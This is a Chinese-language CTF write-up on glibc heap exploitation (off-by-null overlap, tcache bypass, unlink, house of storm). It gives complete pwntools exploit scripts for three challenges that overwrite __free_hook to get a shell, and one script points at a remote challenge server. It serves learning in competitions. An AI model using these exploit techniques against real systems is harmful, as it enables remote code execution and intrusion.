level 0

之前随便出的题

障碍

低版本libc,没有开启PIE,常见的四项功能都有,edit中存在off-by-null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void get_str(char *ptr,int size){
int tmp=0;
if(size<0){
return;
}

for(int i=0;i<size;i++){
read(0,(ptr+i),1);
tmp = i;
if(*(ptr+i)=='\n'){
break;
}
}
*(ptr+tmp+1)=0;
return;
}

之前信安大赛提供的赛题就是这个难度的洞,上面为源码。

思路

没有开启PIE其实就很简单,基本上各方面都没有太多限制,通过溢出overlap来控制指针,下面要么直接控制修改malloc_hook处,要么麻烦一点改bss段指针再任意地址写getshell,之前是直接修改为one_gadget后条件不满足,顺便就把PIE给关了,难度低一点友好点没啥坏处。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

#context.log_level = 'debug'
sh = process('./tinynote')
elf = ELF('./tinynote')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')


def add(size,note):
sh.sendlineafter('> ','1')
sh.sendlineafter('Size: ',str(size))
sh.sendlineafter('Note: \n',note)

def show(idx):
sh.sendlineafter('> ','2')
sh.sendlineafter('index: ',str(idx))

def edit(idx,size,note):
sh.sendlineafter('> ','3')
sh.sendlineafter('index: ',str(idx))
sh.sendlineafter('size: ',str(size))
sh.sendlineafter('Note: \n',note)

def dele(idx):
sh.sendlineafter('> ','4')
sh.sendlineafter('index: ',str(idx))

#--------------over lapping---------------
add(0x90,'0')
add(0x18,'1')
add(0x18,'2')
add(0x110,'3'*0xf0+p64(0x100)+p64(0x21))
add(0x18,'4')
dele(0)
edit(2,0x18,'2'*0x10+p64(0xe0))
dele(3)
#gdb.attach(sh)
#-------------leak libc---------------------
add(0x90,'0')
show(1)
leak = u64(sh.recv(8))
libc_base = leak-88-0x3c4b20
print hex(libc_base)
one = libc_base +0x4526a#+libc.symbols['system']
#--------------------------------------
#edit(1,0x18,p64(leak)+p64(leak-88-0x33))
#add(0x60,'a'*0x13)
add(0x18,'3')
add(0x60,'5')
dele(2)
edit(5,8,p64(0x60203d))
add(0x60,'2')
add(0x60,'\x00'*0x13+p64(0x90)+p64(1)+p64(libc.symbols['__free_hook']+libc_base))


edit(0,8,p64(one))
dele(2)
sh.interactive()

level 1

西湖论剑的一道题目貌似

障碍

libc版本升级到2.27左右,存在tcache机制,许多操作开始需要绕过tcache机制来实现,但整体思路没有太大的变化。
同时这个题的溢出点从edit到了add,相对麻烦一点就是了。

思路

多分配一些chunk来将tcache填满,之后对剩下的chunk进行off-by-null实现overlap,好处就是tcache减少了对size的检查,后面更容易实现

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/env python2

import sys
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('xihu')
elf = ELF('xihu')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('','')
elf = ELF('xihu')
#libc=ELF('')


def add(size,con):
sh.sendlineafter('command:\n','1')
sh.sendlineafter('size:\n',str(size))
sh.sendlineafter('content:\n',con)


def show(index):
sh.sendlineafter('command:\n','3')
sh.sendlineafter('enter index:\n',str(index))


def dele(index):
sh.sendlineafter('command:\n','2')
sh.sendlineafter('enter index:\n',str(index))

def edit(index,con):
sh.sendlineafter('command:\n','4')
sh.sendlineafter('enter index:\n',str(index))
sh.sendafter('content:\n',con)



for i in range(10):
add(0xf7,str(i)*0x20)


for i in range(8):
dele(i)

#----------------unsorted bin leak libc-------------------------------#
#gdb.attach(sh)
add(0xf8,'')#0
for i in range(1,7):
add(0xf7,str(i)) #1-6

add(0xf7, '7') #7
edit(7, 'a' * 8)
show(7)
sh.recvuntil('a'*8)
libc_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x3ebca0
print "libc: "+hex(libc_base)
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f322

#---------------tcache leak heap -------------------------------------#
#gdb.attach(sh)
edit(0,'0')
show(0)
heap_base = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x730
print hex(heap_base)


#------fake chunk unlink #---chunk extend cover fd ptr--------------#

chunk0_addr = heap_base + 0x850
fake_chunk = chunk0_addr + 0x10

pay = p64(0)+p64(0xf0)+p64(fake_chunk)+p64(fake_chunk)+'a'*0xd0+p64(0xf0)

edit(0,pay)


dele(8)

for i in range(1,7):
dele(i)

dele(7)

for i in range(1,8):
add(0xf7,str(i))

add(0xf7,'8')
dele(2)
dele(8)
pay = p64(0)+p64(0x101)+p64(free_hook)
edit(0,pay)

add(0,'')
#gdb.attach(sh)
add(0xf7,'')
edit(8,p64(one_gadget))

dele(0)

#gdb.attach(sh)
sh.interactive()

level 2

kctf 2019

障碍

2.27 libc,无PIE,但是会检查分配的地址是否在堆附近

1
2
3
ptr_ = malloc(0x28uLL);
if ( (signed __int64)ptr_ < flag_addr || flag_addr + 0x800 < (signed __int64)ptr_ )// 检查地址
exit(0);

修改时会检查标志位,有两次修改机会

思路

利用new时的off-by-one,创建fake_chunk来实现unlink突破地址限制,控制free_hook 来getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import sys
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

if len(sys.argv) > 1:
local = 0
else:
local = 1

if local:
sh = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
sh = remote('152.136.18.34','10001')
elf = ELF('./pwn')
libc = ELF('libc-2.27.so')


def new(index,con):
sh.sendlineafter("show\n",'1')
sh.sendlineafter('index:\n',str(index))
sh.sendafter('content:\n',con)

def dele(index):
sh.sendlineafter("show\n",'2')
sh.sendlineafter('index:\n',str(index))


def edit(index,con):
sh.sendlineafter("show\n",'3')
sh.sendlineafter('index:\n',str(index))
sh.sendlineafter("content:\n",con)

def show(index):
sh.sendlineafter("show\n",'4')
sh.sendlineafter('index:\n',str(index))


#----------------leak heap ----------------
sh.recv()
sh.sendline('1')
sh.sendlineafter('index:\n','0')
sh.recvuntil('gift: ')
heap_base = int('0x'+sh.recvline()[:-1],16)-0x10
print hex(heap_base)
sh.sendlineafter('content:\n','0')

for i in range(1,8):
new(i,str(i)+'\n')

for i in range(7,-1,-1):
dele(i)

for i in range(8):
new(i,str(i)*0x28+'\x91')

new(8,'8\n')
new(9,'9\n')

for i in range(6,-1,-1):
dele(i)

#-----------------unlink-------------------------

addr = 0x4040d8
for i in range(10,17):
new(i,str(i))

dele(11)
new(11,p64(0)+p64(0x50)+p64(addr-0x18)+p64(addr-0x10))

dele(12)
new(12,'a'*0x20+p64(0x50)+'\x90')
#gdb.attach(sh)
dele(13)
#gdb.attach(sh)
#----------------leak libc-----------------------
show_flag = 0x404188
edit(11,p64(0x4040c0)+p64(show_flag)+p64(elf.got['puts']))

#sh.interactive()
edit(9,p32(1)+p32(3))
show(10)
leak = u64(sh.recvline()[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['puts']
print hex(libc_base)
free_hook = libc_base+libc.symbols['__free_hook']
one = libc_base + libc.symbols['system']

edit(8,p64(0x4040c0)+p64(free_hook))
edit(9,p64(one))
#gdb.attach(sh)
new(1,'/bin/sh\x00')
dele(1)
sh.interactive()

level 3

rctf 2019-babyheap

障碍

较低版本libc,开启PIE,但是禁用了fastbin,同时关闭了system execve的系统调用
这样基本上无法覆盖bss段的指针,即使想办法可以控制malloc_hook或free_hook指针,也无法直接系统调用getshell

思路

通过chunk overlap泄露libc地址,再次调用通过house of storm控制free_hook,
free_hook地址设置为setcontext函数,从而控制程序流执行mprotect函数把__free_hook所在内存也修改为可执行,
然后读入我们新的shellcode,在跳到新的shellcode去执行getshell。

另一种思路,泄露堆地址与libc地址,写rop, shellcode到heap,largebin attack & unsortbin attack直接在libc上的free_hook分配chunk
将栈转移到heap上,执行rop,执行shellcode getshell。

这里的shellcode都是通过open read write来实现flag的读取。

exp

待补充
https://xz.aliyun.com/t/5216#toc-2